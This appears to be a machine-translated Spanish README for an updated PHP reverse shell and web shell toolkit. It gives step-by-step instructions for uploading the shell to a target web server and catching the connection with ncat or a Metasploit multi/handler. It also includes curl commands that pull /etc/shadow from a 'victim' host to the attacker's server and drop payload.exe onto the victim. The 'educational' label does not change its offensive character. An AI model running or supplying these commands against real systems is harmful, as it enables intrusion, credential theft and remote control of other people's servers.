Solo se actualiza un poco en el popular script de shell inverso de PHP Pentestmonkey/php-reverse-shell. ¡Créditos al autor original!
Funciona en el sistema operativo Linux y macOS con /bin/sh y Windows OS con cmd.exe . El script detectará automáticamente el sistema operativo subyacente.
Funciona con ambos, ncat y multi/handler .
Probado en XAMPP para Linux V7.3.19 (64 bits) con PHP V7.3.19 en Kali Linux V2020.2 (64 bits).
Probado en XAMPP para OS X V7.4.10 (64 bits) con PHP V7.4.10 en macOS Catalina V10.15.6 (64 bits).
Probado en XAMPP para Windows V7.4.3 (64 bits) con PHP V7.4.3 en Windows 10 Enterprise OS (64 bits).
Además, todo se probó en Docker Images NoUphet/Docker-Php4 con PHP V4.4.0 y STEEZE/PHP52-NGINX con PHP V5.2.17.
Hecho con fines educativos. ¡Espero que ayude!
Las tuberías de procesos en el sistema operativo Windows no admiten operaciones asíncronas, por lo que stream_set_blocking() , stream_select() y feof() no funcionará correctamente, pero encontré una solución.
/SRC/REVERSE/PHP_REVERSE_SHELL.PHP requiere PHP V5.0.0 o más.
/SRC/REVERSE/PHP_REVERSE_SHELL_OLDER.PHP requiere PHP V4.3.0 o más.
Cambie la dirección IP y el número de puerto dentro de los scripts según sea necesario.
Copiar /src/reverse/php_reverse_shell.php en el directorio raíz web de su servidor (por ejemplo,/opt/LAMPP/htdocs/en XAMPP) o cárguelo al servidor web de su objetivo.
Navegue al archivo con su navegador web preferido.
Consulte el shell web PHP simple en función de la solicitud de publicación HTTP.
Verifique el shell web PHP simple en función de la solicitud HTTP Get. Debe codificar sus comandos.
Verifique el sencillo shell v2 de Php Php en función de la solicitud HTTP Get. Debe codificar sus comandos.
Obtenga más información sobre las técnicas de ofuscación de PHP para versiones antiguas de PHP en LCatro/PHP-Webshell-ByPass-Waf. ¡Créditos al autor!
Verifique el script de carga/descarga de archivos PHP simple basado en la solicitud de publicación HTTP para la carga de archivos y HTTP obtenga la solicitud de descarga de archivos.
Al descargar un archivo, debe codificar la ruta del archivo y no olvide especificar el archivo de salida si usa Curl.
Al cargar un archivo, no olvide especificar @ antes de la ruta del archivo.
Dependiendo de la configuración del servidor, la descarga de un archivo a través del parámetro de solicitud GET HTTP no siempre funciona, en su lugar, tendrá que hardcore la ruta del archivo en el script.
Navegue al script en el servidor web de la víctima con su navegador web preferido o use Curl desde su PC.
Sube un archivo en el directorio raíz web del servidor desde su PC:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
Descargue un archivo desde el servidor a su PC:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
Si elevó sus privilegios iniciales dentro de su shell inverso, este script podría no tener los mismos privilegios que el shell. En ese caso, para descargar un determinado archivo, es posible que deba copiar el archivo en el directorio raíz web y establecer los permisos de lectura necesarios.
Desde su shell inverso de PHP, ejecute los siguientes comandos de curl.
Sube un archivo desde la PC de la víctima al directorio raíz web de su servidor:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
Descargue un archivo desde el directorio raíz web de su servidor a la PC de la víctima:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
Para configurar un oyente, abra su consola preferida en Kali Linux y ejecute uno de los ejemplos a continuación.
Configurar el oyente ncat :
ncat -nvlp 9000
Configurar el oyente multi/handler :
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

Figura 1 - NCAT

Figura 2 - Script's Dump